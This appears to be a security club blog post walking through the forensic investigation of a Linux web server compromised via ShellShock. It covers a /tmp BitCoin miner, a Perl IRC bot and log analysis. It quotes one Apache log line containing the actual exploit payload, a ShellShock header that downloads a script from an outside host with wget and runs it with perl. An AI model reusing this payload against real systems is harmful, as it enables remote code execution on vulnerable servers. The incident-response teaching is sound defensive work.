Since John wasn’t able to make it to talk about “x86 by example”, I led a somewhat ad-hoc examination of evidence collected from a recently compromised web server by one of my co-workers, Solomon Ford.  Sol originally posed this exercise as a puzzle for the students in the SecOps group that I lead.

You can find the evidence on the osu-ctf Google Drive through the link that I posted to the osu-ctf mailing list on the 9th.  I haven’t got permission to make the data available publicly – if you don’t have the link and can’t access the data, let me know and I’ll check with Sol about sharing it.  Its somewhat anonymized, but not completely so.

Without diving into details from the evidence, I’ll walk through what we discussed in the meeting for general edification.

We started with some discussion about how a security incident might come to your attention: someone could report it to you (your host attacked theirs and they detected it, or theirs attacked yours and they found evidence and decided to warn you), your local host/network IDS/anti-malware might have alerted you, you might have noticed something unusual, etc.  In this case, the hosting service noticed that the CPU usage on the host had gone way up and stayed there and alerted someone which prompted the investigation.  This is a Linux server, by the way.

In the case of a high CPU load, the natural thing to do would be to check to see what’s running on the system.  We have a copy of the output from “ps”, and looking at that we can see that there’s a process named /tmp/hhdparm that’s taking up a lot of CPU time and which is running as the “apache” user.  You can also see the arguments it was started with, and those suggest that the program might have something to do with BitCoin mining.  This process looks suspicious to my eye because I don’t know why Apache would be running something called hhdparm.  The fact that its “/tmp/hhdparm” is even more doubly extra suspicious – generally executables aren’t run from /tmp.

Might as well look in /tmp and see what’s there – that reveals a Bash script named “bioset”, an ELF executable named hhdparm, and a Perl script with the name “luz98w9n.tmp”.  On a real system it would be interesting to note the timestamp data for those files, and we might search the file systems on that server for activity dating from around those times (or search logs for activity).  But we don’t have that data in this case.

“bioset” is a simple script that checks to see whether something called “hhdparm” is running every 5 minutes – if it isn’t, it starts it with (I think) the same parameters that we saw in the “ps” listing.  I don’t think there were signs of this running in the “ps” listing.

“hhdparm” is an ELF executable.  If you were someone with uber reverse engineering skill you might take a look at it there, but I don’t have those skills and there are simple things you can do to examine the program, like run “strings” on it.  Running “strings hhdparm | less” is a good way to page through the printable strings in the binary, but you could also do something like “strings hdparm | egrep ‘……….'” to filter for strings of 10 characters or more (there’s probably a more elegant way to do that, its what I do…)  Either method reveals the “usage” message for the program, which clearly indicates that its a BitCoin miner named “minerd”.  You can google that and find the source and so on – we didn’t do that.  There is a process listed in the “ps” listing with this name.  It would have been nice to have the output of “lsof” – this would list all of the running processes and for each process, what file handles/sockets they have open.  This would more clearly show whether the “hhdparm” process is associated with the “/tmp/hhdparm” executable and would also show files and network connections it has open at the time.

That leaves “uz98w9n.tmp” – this appears to be an IRC bot written in Perl.  You can painstakingly read through the code and figure out what it does, but I’ll give you a rough guess: the intruder runs it and it connects to a channel on an IRC server and announces itself, then waits for commands to execute locally with whatever privileges it is running as.  There’s no mention of the other two programs in this code.  The code is interesting to read through – for instance, it contains a command to wipe logs, which apparently was not run on this system.

We’re still wondering how these came to be installed and how hhdparm was left running.  We haven’t looked at the logs on the system – we could use the file system time stamps and info gleaned from the “ps” listing to create a list of “interesting times” to explore in the logs (reading all the log entries +/- 5 minutes of each “interesting time”, for instance), or we could search for these file names in the logs.  It might be wise to start with the Apache logs: we know that hhdparm was running as the “apache” user, meaning that it was probably started from that process.  That suggests “web exploit” and there’s likely evidence in those logs.

By the way, as you conduct an investigation you’ll both uncover facts (what processes were running, what file names you’ve found, interesting times, etc.) but you’ll also be discovering questions (what other file system activity occurred at the “interesting times”?  what log events?  do any log entries mention these file names?  did the suspect attack source IPs attack any other sites under my control?  and so on…) – its a good idea to write these down and answer them in a systematic fashion, since otherwise you’ll miss things.

One thing I forgot to point out in the talk – when you are examining evidence on a “live, compromised” system you should always keep in mind that the system has been compromised, which is to say, it is especially untrustworthy.  If the miscreants have installed a rootkit its quite possible that you aren’t seeing everything that they did on the system.  For instance, they may have taken steps to hide their files and processes from view.  But even when they do this, its often the case that they leave small signs that the discerning eye can pick up – for instance, you might be searching for “strange” file system activity that occurred at 5:10 AM, and come up short-handed except to see that the “/bin” directory was modified at about that time.  But there are no obvious additions to the directory.  That’s a smoking gun that deserves closer scrutiny – something changed in that directory, what was it?

Anyway, let’s look at the log files.  I searched them with “fgrep”, as in “fgrep -i -R hhdparm var” (the log files from the system are in the “var” directory).   Searching for “bioset” and “hhdparm” didn’t reveal anything interesting.  But searching for “luz98w9n.tmp” shows entries in var/log/httpd/ssl_error_log, including one that that reads:

[Thu Oct 16 15:50:11 2014] [error] [client 79.134.235.132] bash: HTTP_USER_AGENT: line 0: `HTTP_USER_AGENT () {(a)=> /bin/bash -c “wget http://macary.fathomcreative.net/update.txt -O /tmp/luz98w9n.tmp;perl /tmp/luz98w9n.tmp”’

Interesting!  Couple of things to note here: there’s mention of an environment variable HTTP_USER_AGENT that is used when Apache communicates with CGI scripts.  There’s a Unix command embedded in this entry that runs “wget” to download something called “update.txt” from some web site and save it as “/tmp/luz98w9n.tmp” and then run it.  And there’s some goofy sequence of characters “() {(a)”.  This break-in occurred shortly after we all became aware of the ShellShock vulnerability, and so its pretty obvious what happened.  Sometimes when you’re investigating an incident you’re left wondering how the intruders got in, and you may be searching in the dark with the facts at hand doing some Google searches and asking a lot of questions.

In this case, we can check the installed packages and see whether the system had a vulnerable version of Bash (yes).

Going back to the ssl_error_log – starting with the first mention of “luz98w9n.tmp” and reading on you can see the output from the “wget” command, a clear indication that the exploit attempt worked and that this probably explains the existence of that file (and we can guess that it was executed successfully also).

The first attempt to exploit the vulnerability was at 15:50:11, the second at 15:50:21 and the second one failed.  That’s interesting – probably an indication that this was an automated attack, as a human probably wouldn’t have tried a second time if the first attack succeeded.

The source IP address for the attack was “79.134.235.132” – searching for that in all the log files reveals some other log entries, but no additional attacks.  For what its worth, at this point I’d be adding entries like “search for other attacks from 79.134.235.132 to other OSU sites in our logs” to my scratch list.

Since we know that this system was vulnerable to ShellShock, its natural to wonder whether anyone else has exploited it.  One way to do that is to search for “bash” in the logs and see what turns up.  Turns out there are a bunch of entries in access_log that we haven’t seen yet.  These mention a second IP address and that simply seems to be checking the “cgi-bin” directory for some common CGI script names.  There are several failed entries and one success.  Is this activity related to the later successful attack?  Hard to say conclusively, but consider that this activity seems to be “enumeration” type activity with no definitive “point”, whereas the second IP had no “enumeration” activity but jumped straight to a successful attack.  Seems likely that the two are related – that the miscreants scanned the server from one IP address some hours before swing by from a different IP to exploit the potential vulnerabilities found.

We’re really just guessing at this point that the IRC bot was used to install and execute hhdparm – we’ve got no direct evidence.  Its possible that we could use other sources to demonstrate that files of a certain size were copied via wget, ssh or ftp or if we were running systems like “Bro” we might have data from the content of unencrypted IRC sessions showing the commands that were run by that Bot.